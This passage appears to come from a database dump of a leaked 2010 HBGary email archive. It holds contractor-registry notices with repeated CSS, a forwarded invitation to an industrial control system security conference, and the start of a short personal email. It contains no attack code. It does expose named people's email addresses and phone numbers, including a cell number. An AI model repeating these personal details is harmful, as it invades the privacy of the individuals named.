the Internet ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Internet email address has changed since your last login, please email (preferred) the web development team at dev@ticom.com or call 703-449-8010 for help in resetting your password.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',13849,'aaron_hbgary_com/13849.html'),(9916,'2010-08-09','arc@westfields.net','/aaron@hbgary.com/new/1297007776.M849908P14101Q4771.eml','federal@hbgary.com','ARC Daily Activity Summary','\r\nThis is a daily email notice containing a summary of the active efforts that have had some activity since Friday, 08/06/2010 08:00 AM. Activity is described as one or more documents and/or an announcement being posted to the effort website.\r\n\r\n\r\nUnclassified ARC Efforts\r\n\r\nTrident Prime (Announcement & Document Posting)\r\n\r\n\r\n\r\nCWAN ARC Efforts\r\n\r\nNRO/COMM-Expedition (Announcement)\r\n\r\n\r\n\r\nUnclassified efforts can be viewed on the Internet ARC at https://arc.westfields.net/ Classified efforts can be viewed on the CWAN ARC at http://arc.npa.gov/\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',12940,'aaron_hbgary_com/12940.html'),(9917,'2010-08-09','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297007777.M321129P14101Q4773.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','FW: September 20 ACS Industrial Control System (ICS) Cyber Security 	Conference - Includes Discussions of Cyber Aspects of BP Oil Disaster','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFYI - I think this is a conference we should consider attending. \r\nInteresting conference below for security of control systems.  This guy Joe\r\nWeiss has a blog that talks about BP being cyber incident.  They also have a\r\nmembers only paper on Stuxnet which I don’t have a copy of yet.\r\n\r\n \r\n\r\nThoughts?\r\n\r\n \r\n\r\nRC\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Joe Weiss\r\n[mailto:joeweiss16@yahoo.com] \r\nSent: Saturday, August 07, 2010 10:21 PM\r\nTo: rich@hbgary.com\r\nSubject: September 20 ACS Industrial Control System (ICS) Cyber Security\r\nConference - Includes Discussions of Cyber Aspects of BP Oil Disaster\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nRich\r\n- The traditional government support organizations have extensive cyber\r\nsecurity expertise except... This conference is focused on industrial control\r\nsystems which is the area the traditional big governement support\r\norganizations have little expertise. It is also an area where DOD is really\r\nstarting to develop an interest because these commercial systems are being use\r\nby the Navy, Air Force, etc. I think you will find this conference unique as it\r\nis the only conference by and for the industrial control system\r\ncommunity.  As an aside, I was the only keynote speaker from the industrial\r\ncontrol system community at last year&#39;s Air Force Cyber Security Symposia in\r\nShreveport, this year&#39;s C4ISR Conference in San Diego, and was sent to\r\nspeak at the Air Force Space Systems Command Cyber Surety Conference in\r\nAlbuquerque in June.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJoe\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nICSs\r\nare designed for performance and safety, not security. The recent Siemens\r\nProgrammable Logic Controller (PLC) and VxWorks (real time operating system for\r\nICS field devices) vulnerability disclosures lay bare significant security gaps\r\nin ICSs. Moreover, the differences between IT and ICSs led to the conflicting\r\nrecommendations on the Siemens PLC vulnerability by Microsoft and Siemens. The\r\nSiemens and VxWorks vulnerabilities coupled with the Hatch Nuclear Plant cyber\r\nincident demonstrate we are still learning what is unique about ICS\r\ncyber security. Despite the perception that ICSs look like IT systems, they\r\nare not and need to be addressed accordingly. This has enormous\r\nimplications for the Smart Grid, nuclear plants, and other critical\r\ninfrastructures including Naval ships and facilities.  This is\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nICSs must continue to operate – cyber security mitigation cannot\r\nbe allowed to impact their mission. Yet, as of today there have been little\r\ndiscussions between the ICS domain experts and cyber security experts to try to\r\nprevent the unintended consequences that CONTINUE to occur to these\r\ncritical systems. (My blogsite www.controlglobal.com/unfettered contains discussions about\r\nthe BP oil disaster being a control system cyber incident.) Consequently, like\r\nlast year’s conference, here is a peek at what to expect at this years ACS\r\nConference:\r\n\r\n\r\n\r\n\r\n Presentations by\r\n     end-users providing first-hand experience on actual ICS cyber\r\n     incidents. \r\n Input and\r\n     participation from the Navy and Air Force as ICS cyber security also\r\n     directly affects them. \r\n Presentations by\r\n     the Nuclear Regulatory Commission (NRC) and FERC\r\n Demonstrations\r\n     of ICS cyber vulnerabilities.\r\n Significant time\r\n     allocated for open discussions on how to address the problems. \r\n\r\n\r\n\r\n\r\nThe\r\nnext meeting of the ISA 67 Joint working group on nuclear plant cyber security\r\nwill be Monday Morning September 20th at the hotel. \r\n\r\n \r\n\r\nBecause\r\nthis subject is so important to them, at least one member of Congress and the\r\nChairman of FERC are adjusting their schedules to speak to the Conference. \r\n\r\n \r\n\r\nThe\r\nwebsite for the Conference is now open at www.realtimeacs.com . As with previous ACS Conferences, the\r\npresentations will only be available to Conference attendees. The ISBN number\r\nfor my book, Protecting Industrial Control Systems from Electronic Threats\r\navailable through Amazon ISBN: 978-1-60650-197-9. \r\n\r\n \r\n\r\n\r\nI\r\nhope to see you there.\r\n\r\nJoe\r\n\r\n \r\n\r\n \r\n\r\nJoe\r\nWeiss PE, CISM \r\nApplied Control Solutions, LLC \r\n(408) 253-7934 \r\n(408) 253-7974 Fax \r\n(408) 832-5396 Cell \r\njoe.weiss@realtimeacs.com \r\nwww.realtimeacs.com \r\nblog site: www.controlglobal.com/unfettered\r\nBook URL:\r\nhttp://www.momentumpress.net/books/protecting-industrial-control-systems-electronic-threats\r\n\r\n\r\n \r\n\r\n\r\n\r\nThis\r\nmessage (with attachments) may be privileged, confidential, or proprietary. If\r\nyou are not the intended recipient, please notify the sender and delete it. Do\r\nnot use it or share it.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11232,'aaron_hbgary_com/11232.html'),(9918,'2010-08-09','\"McGovern, Mark\" <MMcGovern@iqt.org>','/aaron@hbgary.com/new/1297007777.M549606P14101Q4774.eml','\"aaron@hbgary.com\" <aaron@hbgary.com>','Re: Intro','\r\n\r\n\r\n\r\n\r\n\r\nIf it\'s any help - I\'m wearing a blue shirt with thin white stripes: and grey pants.See you in a few.&nbsp;\r\n\r\n\r\nFrom: McGovern, MarkSent: Tuesday, August 03, 2010 09:37 AMTo: \'Aaron barr\' &lt;aaron@hbgary.com&gt;Subject: RE: 